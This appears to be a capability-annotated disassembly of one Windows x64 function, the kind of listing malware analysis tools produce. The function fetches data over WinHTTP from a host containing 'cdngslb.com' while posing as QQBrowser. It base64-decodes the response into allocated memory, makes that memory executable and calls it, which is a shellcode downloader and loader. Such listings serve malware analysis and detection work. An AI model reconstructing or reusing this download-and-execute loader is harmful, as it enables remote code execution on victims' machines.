Function at 0x140054d90
Capabilities:
Check http status code
Create thread
Decode data using base64 via winapi
Initialize winhttp library
Prepare http request
Read http header
Receive http response
Reference http user-agent string
Set http header

Disassembly:
jmp 0x140054d90
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x5968
call fcn.14000a02e
sub rsp, rax
lea rbp, [rsp + 0x40]
mov rdi, rsp
mov ecx, 0x165a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x5988]
mov qword [rbp + 0x58d8], 0xfffffffffffffffe
mov rax, qword [0x1402c80b8]
xor rax, rbp
mov qword [rbp + 0x5910], rax
mov dword [rbp + 0x58b4], 0
lea rcx, [0x1402ef0b0]
call fcn.14000236f
lea rax, [rbp + 0x5458]
mov qword [rbp + 0x5498], rax
mov rdx, qword [rbp + 0x5948]
mov rcx, qword [rbp + 0x5498]
call fcn.140001c8f
mov qword [rbp + 0x58e8], rax
mov rdx, qword [rbp + 0x58e8]
lea rcx, [rbp + 8]
call fcn.1400014f6
nop
lea rax, [rbp + 0x54b8]
mov qword [rbp + 0x54f8], rax
mov rdx, qword [rbp + 0x5948]
mov rcx, qword [rbp + 0x54f8]
call fcn.140001c8f
mov qword [rbp + 0x58e8], rax
mov rdx, qword [rbp + 0x58e8]
lea rcx, [rbp + 0x48]
call fcn.140007c75
nop
lea r8, [rbp + 8]
lea rdx, str.Host:
lea rcx, [rbp + 0x5518]
call fcn.14000577c
mov qword [rbp + 0x58e8], rax
mov rax, qword [rbp + 0x58e8]
mov qword [rbp + 0x58f0], rax
lea r8, str._r_nContent_type:_application_x_www_form_urlencoded_r_nCache_Control:_max_age0_r_nAccept_Encoding:_gzip__deflate_r_nAccept_Language:_zh_CN_zh_q0.8_r_n
mov rdx, qword [rbp + 0x58f0]
lea rcx, [rbp + 0x88]
call fcn.140008f80
nop
lea rcx, [rbp + 0x5518]
call fcn.140007dba
lea r8, str..w.cdngslb.com
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x5558]
call fcn.140003242
mov qword [rbp + 0x58e8], rax
mov rdx, qword [rbp + 0x58e8]
lea rcx, [rbp + 8]
call fcn.140006992
lea rcx, [rbp + 0x5558]
call fcn.140007dba
lea rcx, [rbp + 8]
call fcn.14000537b
mov rdx, rax
lea rcx, [rbp + 0x5598]
call fcn.140001c8f
nop
lea rcx, [rbp + 0x5598]
call fcn.1400054f2
mov qword [rbp + 0xc8], rax
lea rcx, [rbp + 0x5598]
call fcn.140007dba
lea rcx, [rbp + 0x48]
call fcn.14000537b
mov rdx, rax
lea rcx, [rbp + 0x55d8]
call fcn.140001c8f
nop
lea rcx, [rbp + 0x55d8]
call fcn.1400054f2
mov qword [rbp + 0xe8], rax
lea rcx, [rbp + 0x55d8]
call fcn.140007dba
lea rax, [rbp + 0x110]
mov rdi, rax
xor eax, eax
mov ecx, 0x1800
rep stosb byte [rdi], al
lea rax, [rbp + 0x1930]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rbp + 0x1930], WSAGetLastError
lea rax, [rbp + 0x1510]
mov qword [rbp + 0x1988], rax
lea rax, [rbp + 0x510]
mov qword [rbp + 0x1948], rax
lea rax, [rbp + 0xd10]
mov qword [rbp + 0x1968], rax
lea rax, [rbp + 0x110]
mov qword [rbp + 0x1938], rax
lea rax, [rbp + 0x1110]
mov qword [rbp + 0x1978], rax
lea rax, [rbp + 0x910]
mov qword [rbp + 0x1958], rax
mov dword [rbp + 0x1960], 0x200
mov eax, dword [rbp + 0x1960]
mov dword [rbp + 0x1980], eax
mov eax, dword [rbp + 0x1980]
mov dword [rbp + 0x1940], eax
mov eax, dword [rbp + 0x1940]
mov dword [rbp + 0x1970], eax
mov eax, dword [rbp + 0x1970]
mov dword [rbp + 0x1950], eax
mov eax, dword [rbp + 0x1950]
mov dword [rbp + 0x1990], eax
lea r9, [rbp + 0x1930]
mov r8d, 0x80000000
xor edx, edx
mov rcx, qword [rbp + 0x5948]
call qword [sym.imp.WINHTTP.dll_WinHttpCrackUrl]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.User_Agent:_Mozilla_5.0__Windows_NT_6.3__WOW64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_53.0.2785.104_Safari_537.36_Core_1.53.2141.400_QQBrowser_9.5.10219.400
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rbp + 0x19b8], rax
mov dword [rbp + 0x19d4], 0
mov dword [rbp + 0x19f4], 4
mov dword [rbp + 0x1a14], 0
mov dword [rbp + 0x1a34], 0
mov dword [rbp + 0x1a54], 0
xor r9d, r9d
mov r8w, 0x50
mov rdx, qword [rbp + 0xc8]
mov rcx, qword [rbp + 0x19b8]
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rbp + 0x1a78], rax
lea rax, [rbp + 0x1aa0]
mov rdi, rax
xor eax, eax
mov ecx, 0x2ee0
rep stosb byte [rdi], al
mov rdx, qword [rbp + 0x1978]
lea rcx, [rbp + 0x1aa0]
call fcn.14000179e
mov rdx, qword [rbp + 0x5948]
lea rcx, [rbp + 0x5618]
call fcn.140001c8f
nop
lea r8, [0x14024235c]
lea rdx, [rbp + 0x5618]
lea rcx, [rbp + 0x4998]
call fcn.140001cee
nop
lea rcx, [rbp + 0x5618]
call fcn.140007dba
lea rdx, [0x140242360]
lea rcx, [rbp + 0x4998]
call fcn.140009d36
movzx eax, al
test eax, eax
je 0x140055178
lea rdx, [0x14024235c]
lea rcx, [rbp + 0x1aa0]
call fcn.14000a2c7
lea rcx, [rbp + 0x4998]
call fcn.14000537b
mov rdx, rax
lea rcx, [rbp + 0x1aa0]
call fcn.14000a2c7
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0xe8]
lea rdx, [0x140242368]
mov rcx, qword [rbp + 0x1a78]
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rbp + 0x49d8], rax
mov edx, 0x20
lea rcx, [rbp + 0x49f8]
call fcn.14000468d
nop
lea rdx, str.Content_Type:_application_json_r_nAuthorization:_Bearer
lea rcx, [rbp + 0x4a38]
call fcn.140001c8f
nop
lea rax, [rbp + 0x56b8]
mov qword [rbp + 0x56e8], rax
lea rax, [rbp + 0x5708]
mov qword [rbp + 0x5738], rax
lea rcx, [rbp + 0x5694]
call fcn.140001cc6
mov qword [rbp + 0x58e8], rax
mov rdx, qword [rbp + 0x56e8]
lea rcx, [rbp + 0x49f8]
call fcn.1400097aa
mov qword [rbp + 0x58f0], rax
mov rdx, qword [rbp + 0x5738]
lea rcx, [rbp + 0x49f8]
call fcn.140001d2a
mov qword [rbp + 0x58f8], rax
mov rax, qword [rbp + 0x58e8]
mov r9, rax
mov r8, qword [rbp + 0x58f0]
mov rdx, qword [rbp + 0x58f8]
lea rcx, [rbp + 0x5658]
call fcn.1400044a8
mov qword [rbp + 0x5900], rax
mov rax, qword [rbp + 0x5900]
mov qword [rbp + 0x5908], rax
mov rdx, qword [rbp + 0x5908]
lea rcx, [rbp + 0x4a38]
call fcn.140001177
nop
lea rcx, [rbp + 0x5658]
call fcn.140007dba
lea rdx, [0x140242404]
lea rcx, [rbp + 0x4a38]
call fcn.140008571
lea rcx, [rbp + 0x88]
call fcn.14000537b
mov rdx, rax
lea rcx, [rbp + 0x5758]
call fcn.140001c8f
nop
lea rcx, [rbp + 0x5758]
call fcn.1400054f2
mov qword [rbp + 0x4a78], rax
lea rcx, [rbp + 0x5758]
call fcn.140007dba
mov rcx, qword [rbp + 0x4a78]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cdqe
mov qword [rbp + 0x4a98], rax
mov r9d, 0x20000000
mov r8d, dword [rbp + 0x4a98]
mov rdx, qword [rbp + 0x4a78]
mov rcx, qword [rbp + 0x49d8]
call qword [sym.imp.WINHTTP.dll_WinHttpAddRequestHeaders]
mov dword [rbp + 0x4ab4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x49d8]
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
xor edx, edx
mov rcx, qword [rbp + 0x49d8]
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov dword [rbp + 0x19f4], 4
lea rax, [rbp + 0x1a34]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x19f4]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1a14]
xor r8d, r8d
mov edx, 0x20000005
mov rcx, qword [rbp + 0x49d8]
call qword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
mov dword [rbp + 0x19f4], 4
mov qword [rsp + 0x28], 0
lea rax, [rbp + 0x19f4]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1a54]
xor r8d, r8d
mov edx, 0x20000013
mov rcx, qword [rbp + 0x49d8]
call qword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
cmp qword [rbp + 0x5958], 0
je 0x1400553f3
mov rax, qword [rbp + 0x5958]
mov ecx, dword [rbp + 0x1a54]
mov dword [rax], ecx
mov qword [rbp + 0x4ad8], 0
mov eax, dword [rbp + 0x1a14]
mov ecx, eax
call fcn.1400088a5
mov qword [rbp + 0x5798], rax
mov rax, qword [rbp + 0x5798]
mov qword [rbp + 0x4ad8], rax
mov eax, dword [rbp + 0x1a14]
mov r8d, eax
xor edx, edx
mov rcx, qword [rbp + 0x4ad8]
call fcn.140005a97
cmp dword [rbp + 0x1a14], 0
jbe 0x14005546b
lea r9, [rbp + 0x19d4]
mov r8d, dword [rbp + 0x1a14]
mov rdx, qword [rbp + 0x4ad8]
mov rcx, qword [rbp + 0x49d8]
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
cmp dword [rbp + 0x19d4], 0
je 0x140055440
lea rcx, [rbp + 0x4af8]
call fcn.140005619
nop
cmp dword [rbp + 0x19d4], 0
jbe 0x140055571
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, dword [rbp + 0x19d4]
mov r8, qword [rbp + 0x4ad8]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [rbp + 0x4b34], eax
cmp dword [rbp + 0x4b34], 0
jle 0x140055571
mov edx, 0x20
lea rcx, [rbp + 0x4b58]
call fcn.14000423c
lea rcx, [rbp + 0x57b4]
call fcn.140001cc6
movsxd rcx, dword [rbp + 0x4b34]
mov r8, rax
mov rdx, rcx
lea rcx, [rbp + 0x4b58]
call fcn.140006cda
nop
lea rcx, [rbp + 0x4b58]
call fcn.14000727a
mov ecx, dword [rbp + 0x4b34]
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x19d4]
mov r8, qword [rbp + 0x4ad8]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rax, dword [rbp + 0x4b34]
mov qword [rbp + 0x58e8], rax
lea rcx, [rbp + 0x4b58]
call fcn.14000727a
mov rcx, qword [rbp + 0x58e8]
mov r8, rcx
mov rdx, rax
lea rcx, [rbp + 0x4af8]
call fcn.1400038f0
nop
lea rcx, [rbp + 0x4b58]
call fcn.140002cbb
lea rcx, [rbp + 0x4998]
call fcn.14000537b
mov rdx, rax
lea rcx, [rbp + 0x4b98]
call fcn.140001c8f
nop
xor r8d, r8d
lea rdx, str.appid
lea rcx, [rbp + 0x4b98]
call fcn.140005aab
mov qword [rbp + 0x4bd8], rax
cmp qword [rbp + 0x4bd8], 0xffffffffffffffff
je 0x14005589a
cmp dword [rbp + 0x1a54], 0xc8
jne 0x14005589a
mov eax, dword [rbp + 0x1a14]
mov r8d, eax
mov rdx, qword [rbp + 0x4ad8]
lea rcx, [rbp + 0x4bf8]
call fcn.14000940d
nop
mov rdx, qword [rbp + 0x5950]
lea rcx, [0x1402cd080]
call fcn.140003a67
lea rdx, [0x14000347c]
mov rcx, rax
call fcn.140005afb
mov r8, qword [rbp + 0x5950]
lea rdx, [rbp + 0x4bf8]
lea rcx, [rbp + 0x4c38]
call fcn.140003319
nop
lea rdx, [rbp + 0x4c38]
lea rcx, [rbp + 0x4c78]
call fcn.1400087f1
nop
lea rdx, [0x140001c30]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400041b0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x4cb8], rax
mov qword [rbp + 0x4cd8], 0x64
mov edx, 0x20
lea rcx, [rbp + 0x4cf8]
call fcn.14000305d
lea rcx, [rbp + 0x4cf8]
call fcn.1400098e5
nop
mov r8d, 0x64
lea rdx, [rbp + 0x4cf8]
lea rcx, [rbp + 0x4c78]
call fcn.1400099bc
lea rcx, [rbp + 0x4c78]
call fcn.140009f98
mov dword [rbp + 0x4d34], eax
mov dword [rbp + 0x4d54], 0
mov eax, dword [rbp + 0x4d34]
mov r9d, 4
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x4d78], rax
lea rax, [rbp + 0x4cf8]
mov qword [rbp + 0x4d98], rax
mov rcx, qword [rbp + 0x4d98]
call fcn.14000a05b
mov qword [rbp + 0x4db8], rax
mov rcx, qword [rbp + 0x4d98]
call fcn.14000960b
mov qword [rbp + 0x4dd8], rax
jmp 0x14005573d
mov rax, qword [rbp + 0x4db8]
add rax, 0x28
mov qword [rbp + 0x4db8], rax
mov rax, qword [rbp + 0x4dd8]
cmp qword [rbp + 0x4db8], rax
je 0x1400557ef
mov rax, qword [rbp + 0x4db8]
mov qword [rbp + 0x4df8], rax
mov rcx, qword [rbp + 0x4df8]
call fcn.140009f98
mov dword [rbp + 0x4e14], eax
mov eax, dword [rbp + 0x4d54]
mov rcx, qword [rbp + 0x4d78]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x58e8], rax
mov rcx, qword [rbp + 0x4df8]
call fcn.1400082e2
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [rbp + 0x4e14]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rbp + 0x58e8]
mov r9, rcx
mov r8d, 1
mov edx, dword [rbp + 0x4e14]
mov rcx, rax
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov eax, dword [rbp + 0x4e14]
mov ecx, dword [rbp + 0x4d54]
add ecx, eax
mov eax, ecx
mov dword [rbp + 0x4d54], eax
jmp 0x14005572b
lea r9, [0x1402ccc70]
lea r8, [0x140007b67]
lea rdx, str.Sleep
lea rcx, [0x140242000]
call fcn.1400011b3
lea r9, [0x1402ccc80]
lea r8, [0x140007748]
lea rdx, str.VirtualAlloc
lea rcx, [0x140242000]
call fcn.1400011b3
mov eax, dword [rbp + 0x4d34]
lea r9, [rbp + 0x4e34]
mov r8d, 0x20
mov edx, eax
mov rcx, qword [rbp + 0x4d78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [rbp + 0x4d78]
mov rcx, qword [rbp + 0x4cb8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp + 0x4cf8]
call fcn.1400031d9
nop
lea rcx, [rbp + 0x4c78]
call fcn.140004ee4
nop
lea rcx, [rbp + 0x4c38]
call fcn.140004ee4
nop
lea rcx, [rbp + 0x4bf8]
call fcn.140004ee4
cmp qword [rbp + 0x4ad8], 0
je 0x1400558ee
mov rax, qword [rbp + 0x4ad8]
mov qword [rbp + 0x57d8], rax
mov rcx, qword [rbp + 0x57d8]
call fcn.140006104
cmp qword [rbp + 0x57d8], 0
jne 0x1400558d5
mov qword [rbp + 0x58e8], 0
jmp 0x1400558ee
mov qword [rbp + 0x4ad8], 0x8123
mov rax, qword [rbp + 0x4ad8]
mov qword [rbp + 0x58e8], rax
mov rcx, qword [rbp + 0x49d8]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbp + 0x1a78]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbp + 0x19b8]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
lea rax, [rbp + 0x5818]
mov qword [rbp + 0x5848], rax
lea rax, [rbp + 0x5868]
mov qword [rbp + 0x5898], rax
lea rcx, [rbp + 0x57f4]
call fcn.140007b26
mov qword [rbp + 0x58e8], rax
mov rdx, qword [rbp + 0x5848]
lea rcx, [rbp + 0x4af8]
call fcn.1400034fe
mov qword [rbp + 0x58f0], rax
mov rdx, qword [rbp + 0x5898]
lea rcx, [rbp + 0x4af8]
call fcn.140007c5c
mov qword [rbp + 0x58f8], rax
mov rax, qword [rbp + 0x58e8]
mov r9, rax
mov r8, qword [rbp + 0x58f0]
mov rdx, qword [rbp + 0x58f8]
mov rcx, qword [rbp + 0x5940]
call fcn.140009c1e
mov eax, dword [rbp + 0x58b4]
or eax, 1
mov dword [rbp + 0x58b4], eax
lea rcx, [rbp + 0x4b98]
call fcn.140007dba
nop
lea rcx, [rbp + 0x4af8]
call fcn.140007dba
nop
lea rcx, [rbp + 0x4a38]
call fcn.140007dba
nop
lea rcx, [rbp + 0x49f8]
call fcn.140004ee4
nop
lea rcx, [rbp + 0x4998]
call fcn.140007dba
nop
lea rcx, [rbp + 0x88]
call fcn.140007dba
nop
lea rcx, [rbp + 0x48]
call fcn.140007dba
nop
lea rcx, [rbp + 8]
call fcn.140007dba
mov rax, qword [rbp + 0x5940]
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14023bf50]
call fcn.1400092b9
mov rax, rdi
mov rcx, qword [rbp + 0x5910]
xor rcx, rbp
call fcn.140002fd1
lea rsp, [rbp + 0x5928]
pop rdi
pop rbp
ret